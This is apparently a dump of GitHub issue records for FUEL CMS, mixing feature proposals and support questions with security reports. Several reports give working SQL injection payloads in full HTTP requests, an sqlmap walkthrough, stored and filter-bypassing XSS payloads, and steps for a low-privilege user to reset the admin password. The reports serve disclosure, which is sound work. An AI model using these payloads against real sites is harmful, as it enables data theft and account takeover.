"FUEL-CMS"
] | 
```
GET /fuel/index.php/fuel/logs/items?search=Search&col=(select(0)from(select(sleep(5)))v)&fuel_inline=0&limit=50&offset=0&order=desc&search_term=&type=info&view_type=list HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:80/fuel/index.php/fuel
Cookie: ci_session=65vnmrapcn6if41tmikfkhatkhs6ei5t; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_dccdd4a05cd593ba3584dfaa321e5caf=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_dccdd4a05cd593ba3584dfaa321e5caf=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%257D; fuel_bar=%257B%2522show_editable_areas%2522%253A%25221%2522%257D
Host: 127.0.0.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Length: 1
```
payload :col=(select(0)from(select(sleep(5)))v)
You can see that when you modify the sleep value, the response has a significant delay. | FUEL CMS 1.5.0 allows SQL Injection via parameter 'col' in /fuel/index.php/fuel/logs/items | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/582/comments | 1 | 2021-08-10T01:22:52Z | 2021-10-29T19:32:43Z | https://github.com/daylightstudio/FUEL-CMS/issues/582 | 964,511,369 | 582 |
[
"daylightstudio",
"FUEL-CMS"
] | IN the forgot password page. Because there is no limit on the number of times, An attacker can brute crack the email address of the administrator.
| Fuel CMS 1.5.0 has a brute force vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/581/comments | 0 | 2021-08-09T03:09:21Z | 2021-08-10T17:49:37Z | https://github.com/daylightstudio/FUEL-CMS/issues/581 | 963,603,502 | 581 |
[
"daylightstudio",
"FUEL-CMS"
] | The system does not verify the host value. If the host value is modified, the link returned by the website will splice the malicious host value。like this：
| Host header attack vulnerability exists in fuel CMS 1.5.0. An attacker can use man in the middle attack to attack users such as phishing. | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/580/comments | 0 | 2021-08-06T01:58:06Z | 2021-08-10T17:49:48Z | https://github.com/daylightstudio/FUEL-CMS/issues/580 | 962,327,274 | 580 |
[
"daylightstudio",
"FUEL-CMS"
] | FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability that can delete a Permission via a post ID to /permissions/delete/2
POC：
The page:
| FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/579/comments | 0 | 2021-07-02T02:35:59Z | 2021-07-03T01:33:05Z | https://github.com/daylightstudio/FUEL-CMS/issues/579 | 935,357,769 | 579 |
[
"daylightstudio",
"FUEL-CMS"
] | Hi:
FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability that can delete a user account via a post ID to /users/delete/2
POC:
| FUEL CMS 1.4.13 contains a cross-site request forgery (CSRF) vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/578/comments | 0 | 2021-07-02T02:26:46Z | 2021-08-10T17:49:19Z | https://github.com/daylightstudio/FUEL-CMS/issues/578 | 935,354,402 | 578 |
[
"daylightstudio",
"FUEL-CMS"
] | Hi There,
I acknowledge the fact that this version is not the latest and greatest but I need this specific one.
Once I finished the set-up process a went ahead on the http://IP/fuelcms/fuel/start the file does not exist (404). And yes I have admin_enabled on MY_fuel.php
Can anyone help?
Thanks. | Start file missing on FUEL_CMS 1.4.1 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/577/comments | 7 | 2020-11-22T16:46:33Z | 2020-11-23T20:25:20Z | https://github.com/daylightstudio/FUEL-CMS/issues/577 | 748,282,924 | 577 |
[
"daylightstudio",
"FUEL-CMS"
] | In /pages/delete/3 Cross-site request forgery (CSRF) vulnerability The Attacker can use this vulnerability to delete random pages！
<img width="536" alt="222png" src="https://user-images.githubusercontent.com/68934938/98192825-c0f71980-1f56-11eb-8c11-efb7a60f17ad.png">
POC:
| FUEL-CMS V1.4.13 Cross-site request forgery (CSRF) vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/576/comments | 0 | 2020-11-05T02:54:39Z | 2021-05-14T13:59:33Z | https://github.com/daylightstudio/FUEL-CMS/issues/576 | 736,567,837 | 576 |
[
"daylightstudio",
"FUEL-CMS"
] | FUEL CMS 1.4.11 allows SQL Injection via parameter 'name' in /fuel/permissions/create/
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
payload:
a")or extractvalue(1,concat(0x23,user()))#
Poc:
POST /FUEL/fuel/permissions/create/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3405189478671501608124578765
Content-Length: 2181
Origin: http://localhost
Connection: close
Referer: http://localhost/FUEL/fuel/permissions/create
Cookie: fuel_bar=%257B%2522show_fuel_bar%2522%253A%25220%2522%252C%2522show_editable_areas%2522%253A%25220%2522%257D; fuel_262c6342d4c36d3c073734c54972a54a=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_262c6342d4c36d3c073734c54972a54a=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522tabs_assets_create%2522%253A%25221%2522%252C%2522tabs_assets_create_5a47396a63773d3d%2522%253A%25221%2522%252C%2522tabs_assets_create_5a47396a63773d3d%252522_alert%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25221%2522%252C%2522tabs_pages_select%2522%253A%25220%2522%252C%2522tabs_assets_create_615731685a32567a4c334e7a63334e7a63773d3d%2522%253A%25221%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%252C%2522tabs_navigation_edit_1%2522%253A%25220%2522%252C%2522fuel_permissions_items%2522%253A%2522list%2522%257D; PHPSESSID=vi872kt7o20ir3pviar60bkrd4; ci_session=r5pfeo4dt6rptgrbv45fmen4rvsr3t5s
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="description"
adsf
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="name"
a")or extractvalue(1,concat(0x23,user()))#
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="exists_users"
1
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="other_perms[]"
create
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="other_perms[]"
edit
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="other_perms[]"
publish
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="other_perms[]"
delete
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="exists_other_perms"
1
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="active"
yes
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="id"
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="__fuel_module__"
permissions
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="__fuel_module_uri__"
permissions
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="__fuel_id__"
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="__fuel_inline_action__"
create
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="__fuel_inline__"
0
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="ci_csrf_token_FUEL"
d2417201849fd467eee1dcaf6bd4a294
-----------------------------3405189478671501608124578765
Content-Disposition: form-data; name="fuel_inline"
0
-----------------------------3405189478671501608124578765--
Burpsuite Response pic:
| FUEL CMS 1.4.11 allows SQL Injection via parameter 'name' in /fuel/permissions/create/ | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/575/comments | 0 | 2020-09-23T07:57:39Z | 2020-09-23T16:42:51Z | https://github.com/daylightstudio/FUEL-CMS/issues/575 | 707,138,024 | 575 |
[
"daylightstudio",
"FUEL-CMS"
] | 1. Stored xss in Blocks name
Refresh the page, it will trigger below "Recently Viewed" menu
Front page：
payload:
"onmousemove="alert(1)
2. Stored xss in Navigation Label
payload:
"onmousemove="alert(/Nav/)
3. Stored xss in Site Variables Name
payload:
"onmousemove="alert(/site/)
| Stored XSS in Blocks/Navigation/Site Variables (release/1.4.11) | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/574/comments | 0 | 2020-09-23T07:36:11Z | 2020-09-23T16:43:02Z | https://github.com/daylightstudio/FUEL-CMS/issues/574 | 707,124,307 | 574 |
[
"daylightstudio",
"FUEL-CMS"
] | 3.1.11 has been the latest 3.x release for a while: https://github.com/bcit-ci/CodeIgniter/releases/tag/3.1.11 | CodeIgniter 3.1.11 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/573/comments | 1 | 2020-09-23T04:54:34Z | 2020-09-23T16:35:45Z | https://github.com/daylightstudio/FUEL-CMS/issues/573 | 707,046,621 | 573 |
[
"daylightstudio",
"FUEL-CMS"
] | As much as I like the Fuel CMS Docs in how extensive they are, they often miss key details that maybe expect too much knowledge of the CMS interior from the developer or were added later.[1]
It's also hard to maintain the docs with all the html or to contribute (even if the system is quite clever).[2]
What do you think about using Githubs Wiki to add and curate user submitted solutions and code snippets that might help people a bit more to understand the power of Fuel CMS?
Another pain point for me is the forum. There is so much good information but often it's hard to find or worse, hard to read, because it's missing proper code fencing and there is no syntax highlighting. Sometimes I wish I could go in and just add some ``` to make it at least readable...
Maybe Github own discussion forum could be a possibility[3]? I know that would fracture everything even more, but I think it could save you time from maintaining your own forum software and spend some on overhauling the docs. And maybe more people would contribute?
Just thoughts :) I know this needs resources to do it...
best, m.
[1] I was wondering why my block layout fields <https://docs.getfuelcms.com/general/layouts#layouts_block_layouts> in a simple module didn't display any previously saved data. Turns out I had to set a model... a common concept in Fuel CMS, but it's easy to get lost in all the possibilities
```
$products['key_value_table'] = new Fuel_block_layout('key_value_table');
$products['key_value_table']->set_label('Tabelle');
// Set Model in case you query data from a module.
$products['key_value_table']->set_model('Products_model');
```
[2] it should be possible to generate a bunch of markdown alternatively and slowly move over to markdown or reStructured text or whatever?!
[3] It seems it's still in beta but one can request access here: https://github.community/t/can-one-apply-for-github-discussions-beta/121120/161 ?! | Docs, Forum and Wiki | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/572/comments | 7 | 2020-09-12T07:25:53Z | 2020-09-16T09:12:27Z | https://github.com/daylightstudio/FUEL-CMS/issues/572 | 700,119,597 | 572 |
[
"daylightstudio",
"FUEL-CMS"
] | Right now the formbuilder will collect all `fieldset.tab legend` to build tabs in one place.
You can't have multiple sections of fieldset.tab across the form.
The problem was described here: https://forum.getfuelcms.com/discussion/2345/form-tabs-fieldsets/p1 with no solution.
The way fieldset.tab works is, every form field that comes after `'a' => ['type' => 'fieldset', 'class' => 'tab', 'label' => 'a'],` is going to end up in a tab, even if you setup a non tab fieldset section `'k' => ['type' => 'fieldset', 'label' => 'Break out tabs'],` and then more fieldsets with tabs (x and y).
All tabs will end up at the top of the form or better the first defined fieldset.tab.
```
'a' => ['type' => 'fieldset', 'class' => 'tab', 'label' => 'a'],
// ... some fields
'b' => ['type' => 'fieldset', 'class' => 'tab', 'label' => 'b'],
// some fields
'k' => ['type' => 'fieldset', 'label' => 'Break out tabs'],
// some more fields unrelated to fieldset b
'x' => ['type' => 'fieldset', 'class' => 'tab', 'label' => 'x'],
// ... some fields
'y' => ['type' => 'fieldset', 'class' => 'tab', 'label' => 'y'],
// some fields
'z' => ['type' => 'fieldset', 'label' => 'Break out tabs'],
// some more fields unrelated to fieldset y
```
## Solution
In order to group fieldset.tab a and b in the beginning of the form and fieldset. x and y at the end I would propose the following change:
~~1. Update jQuery to the latest version of the 1.x branch at least to 1.8 because I use [`addBack()`](https://api.jquery.com/addBack/)~~ Added a check for `addBack()` https://github.com/daylightstudio/FUEL-CMS/pull/571#issue-485365603
2. replace in BaseFuelController.js the following function
```js
_initFormTabs : function(context){
if (!$('.form_tabs', context).length){
var tabId = 'tabs_' + jqx.config.uriPath.replace(/[\/|:]/g, '_').substr(5); // remove fuel_
var tabCookieSettings = {group: this.uiCookie, name: tabId, params: {path: jqx.config.cookieDefaultPath}}
var tabs = '<div id="fuel_form_tabs" class="form_tabs"><ul>';
// Group
$fieldsets = $('fieldset.tab', context).not('fieldset.tab fieldset', context);
if(!$.fn.addBack){
$.fn.addBack = $.fn.andSelf;
}
$fieldsets.each(function() {
if ( ! $(this).closest('.fieldset-grouped').length){
$(this).nextUntil('fieldset:not([class])').addBack().wrapAll("<div class='fieldset-grouped' />");
}
});
// loop through groups and create tabs from <legend>
$('.fieldset-grouped').each(function(idx, context){
// in order to change as little as possible from the original code, I keep context as variable, but it's the current context of .fielset-grouped!
tabs = '<div id="fuel_form_tabs_' + idx + '" class="form_tabs"><ul>'
// prevent nested fieldsets from showing up with not()
$legends = $('fieldset.tab legend', context).not('fieldset.tab fieldset legend', context);
$legends.each(function(i){
if ($(this).parent().attr('id') != '') {
$(this).parent().attr('id', 'fieldset' + i + '_' + idx).attr('data-index', i + '_' + idx);
}
var id = ($(this).parent().attr('id'));
var text = $(this).text();
tabs += '<li id="fueltab' + i + '_' + idx + '"><a href="#' + id + '">' + text + '</a></li>';
});
$legends.hide();
tabs += '</ul><div class="clear"></div></div>';
var startIndex = parseInt($.supercookie(tabCookieSettings.group, tabCookieSettings.name));
if (!startIndex) startIndex = 0;
tabs += '<input type="hidden" name="__fuel_selected_tab__" id="__fuel_selected_tab__" value="' + startIndex + '" />';
$legends.filter(':first').parent().before(tabs);
$('#form').trigger('fuel_form_tabs_loaded', [$('#fuel_form_tabs_' + idx)] );
$tabs = $('.form_tabs ul', context);
$tabs.simpleTab({cookie: tabCookieSettings});
var tabCallback = function(e, index, selected, content, settings){
$('#__fuel_selected_tab__').val(index);
}
$tabs.bind('tabClicked', tabCallback);
// check if there are any errors and highlight them
$legends.parent().find('.error_highlight').each(function(i){
var fieldsetIndex = $(this).closest('fieldset').data('index');
$('#fueltab' + fieldsetIndex).addClass('taberror');
})
});
}
},
```
I did not create a pull request, because at this point I would like to have the devs to look over this and decide if this is a good way to implement and if a jquery update is possible and mybe they will notice some side effects.
And if it ends up in Fuel (which would be nice), it needs to be documented and made clear, that once you use fieldset.tab you need to use blank fieldset to break out of tabs. Which might not be very intuitive.
It would be great if this ended up working in Fuel CMS
| [Proposal] Multiple Fieldsets of Type `Tab` per Form | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/569/comments | 2 | 2020-09-11T10:33:11Z | 2020-09-23T16:43:10Z | https://github.com/daylightstudio/FUEL-CMS/issues/569 | 699,145,868 | 569 |
[
"daylightstudio",
"FUEL-CMS"
] | Is it possible to add a check for `$config['encryption_key']` since this seem to be mandatory for file upload.
In my case I set the via an environment variable getenv('ENCKEY') and due to server configuration the key wasn't set and I spend quite some time to try and find out why I couldn't upload assets into a custom folder as described here:
<https://forum.getfuelcms.com/discussion/comment/10704/#Comment_10704>
| Check for `encryption_key` | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/567/comments | 0 | 2020-09-09T18:11:59Z | 2020-09-23T16:43:16Z | https://github.com/daylightstudio/FUEL-CMS/issues/567 | 697,037,475 | 567 |
[
"daylightstudio",
"FUEL-CMS"
] | Tried resetting my forum password yesterday, first entering the username, then the email, but didn't receive anything. Is it not working? I don't think I deleted my account. | Forum password reminder | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/565/comments | 5 | 2020-09-05T10:39:50Z | 2020-09-15T17:10:56Z | https://github.com/daylightstudio/FUEL-CMS/issues/565 | 694,057,106 | 565 |
[
"daylightstudio",
"FUEL-CMS"
] | #### Environment
Version: 1.4.9
#### Vulnerability
Parameter Name:col
Parameter Type: GET
Attack Pattern: extractvalue(1,concat(char(126),(select/**/current_user())))
#### Step
step 1
step 2
```
GET /fuel/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=extractvalue(1,concat(char(126),(select/**/current_user())))&fuel_inline=0 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1/fuel/pages
Cookie: ci_session=cfe42220d7540c849f2fdd72ddb732ff0e6addfb; fuel_74d00769f76d3dfc59096d1a4f6419d3=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_74d00769f76d3dfc59096d1a4f6419d3=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%257D
```
| Vulnerability - SQL Injection | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/562/comments | 2 | 2020-08-25T01:24:52Z | 2020-09-23T16:44:49Z | https://github.com/daylightstudio/FUEL-CMS/issues/562 | 685,086,783 | 562 |
[
"daylightstudio",
"FUEL-CMS"
] | FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
POC:
POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Host: 192.168.1.12
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
Connection: close
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_replace_id"
11%27
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="Submit"
Submit
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_inline"
1
------WebKitFormBoundarygI1zKZoBINTcL87g--
**Exploiting Step1. Burpsuite request payload:**
In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
Then run SQLmap to extract the data from the database:
----------------------
POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
Host: 192.168.1.12
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
Connection: close
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_replace_id"
11*
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="Submit"
Submit
------WebKitFormBoundarygI1zKZoBINTcL87g
Content-Disposition: form-data; name="fuel_inline"
1
------WebKitFormBoundarygI1zKZoBINTcL87g--
**Exploiting Setp2 use sqlmap and exploit it.**
python sqlmap.py -r 33.txt --dbs
<img width="844" alt="1" src="https://user-images.githubusercontent.com/12816285/90610441-fd5c8880-e237-11ea-9616-1130cd4ab3fa.png">
<img width="430" alt="33" src="https://user-images.githubusercontent.com/12816285/90610520-1d8c4780-e238-11ea-85e8-b1605cde72f6.png">
| FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1 | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/561/comments | 0 | 2020-08-19T08:22:40Z | 2020-09-23T16:35:29Z | https://github.com/daylightstudio/FUEL-CMS/issues/561 | 681,646,072 | 561 |
[
"daylightstudio",
"FUEL-CMS"
] | General users can modify the administrator password and account infomation vulnerability .
for example:
The account test123 can chanage the admin password!!!
step 1:
log in test123:
<img width="958" alt="1" src="https://user-images.githubusercontent.com/12816285/85488214-81abda00-b600-11ea-9b6e-b8c0551322df.png">
Step 2:
edit Any non-administrator account：
<img width="705" alt="2" src="https://user-images.githubusercontent.com/12816285/85488408-d3546480-b600-11ea-9307-ead12b54c763.png">
<img width="662" alt="3" src="https://user-images.githubusercontent.com/12816285/85488485-f41cba00-b600-11ea-838d-f1251856ee96.png">
Step 3:
Save the chanage:
<img width="641" alt="4" src="https://user-images.githubusercontent.com/12816285/85488606-2d552a00-b601-11ea-855a-cf82d5189bf4.png">
Then Intercept the packets and chanage the "id" and "__fuel_id__" value 1
<img width="492" alt="5" src="https://user-images.githubusercontent.com/12816285/85489127-211d9c80-b602-11ea-9b18-0adaf8ece8b5.png">
<img width="516" alt="6" src="https://user-images.githubusercontent.com/12816285/85489142-2549ba00-b602-11ea-86ea-fb0bc4edf57e.png">
Success :
<img width="705" alt="7" src="https://user-images.githubusercontent.com/12816285/85489184-35619980-b602-11ea-97a9-a6bf6e3c1240.png">
Step 4:
log in admin use new password ：
<img width="942" alt="8" src="https://user-images.githubusercontent.com/12816285/85489385-7f4a7f80-b602-11ea-9fb1-158792134c72.png">
<img width="859" alt="9" src="https://user-images.githubusercontent.com/12816285/85489564-c33d8480-b602-11ea-83a7-9e945286141c.png">
<img width="947" alt="10" src="https://user-images.githubusercontent.com/12816285/85489667-e9fbbb00-b602-11ea-8537-ac7baadf6299.png">
| General users can modify the administrator password vulnerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/560/comments | 1 | 2020-06-24T02:12:08Z | 2020-07-02T15:18:03Z | https://github.com/daylightstudio/FUEL-CMS/issues/560 | 644,263,989 | 560 |
[
"daylightstudio",
"FUEL-CMS"
] | HI:
The attacker bypasses the filter In this pages page!
POC:
`"><details/open/ontoggle=\u0061\u006c\u0065\u0072\u0074(/xss/)>`
<img width="842" alt="222" src="https://user-images.githubusercontent.com/12816285/85382827-eb30d780-b571-11ea-8a59-928afc638ae9.png">
<img width="698" alt="333" src="https://user-images.githubusercontent.com/12816285/85382865-f6840300-b571-11ea-93c3-71d4b9c3a41a.png">
and you can fix it!! thank you
| bypass filter XSS vunerability | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/559/comments | 0 | 2020-06-23T08:53:30Z | 2021-05-14T13:59:44Z | https://github.com/daylightstudio/FUEL-CMS/issues/559 | 643,655,458 | 559 |
[
"daylightstudio",
"FUEL-CMS"
] | 
import database successfully
username "root"
password""
bd_name: fuel_schema.sql
what is other one issue ? | then i am installed | https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/558/comments | 6 | 2020-06-18T09:31:47Z | 2021-04-15T18:34:12Z | https://github.com/daylightstudio/FUEL-CMS/issues/558 | 641,057,521 | 558 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.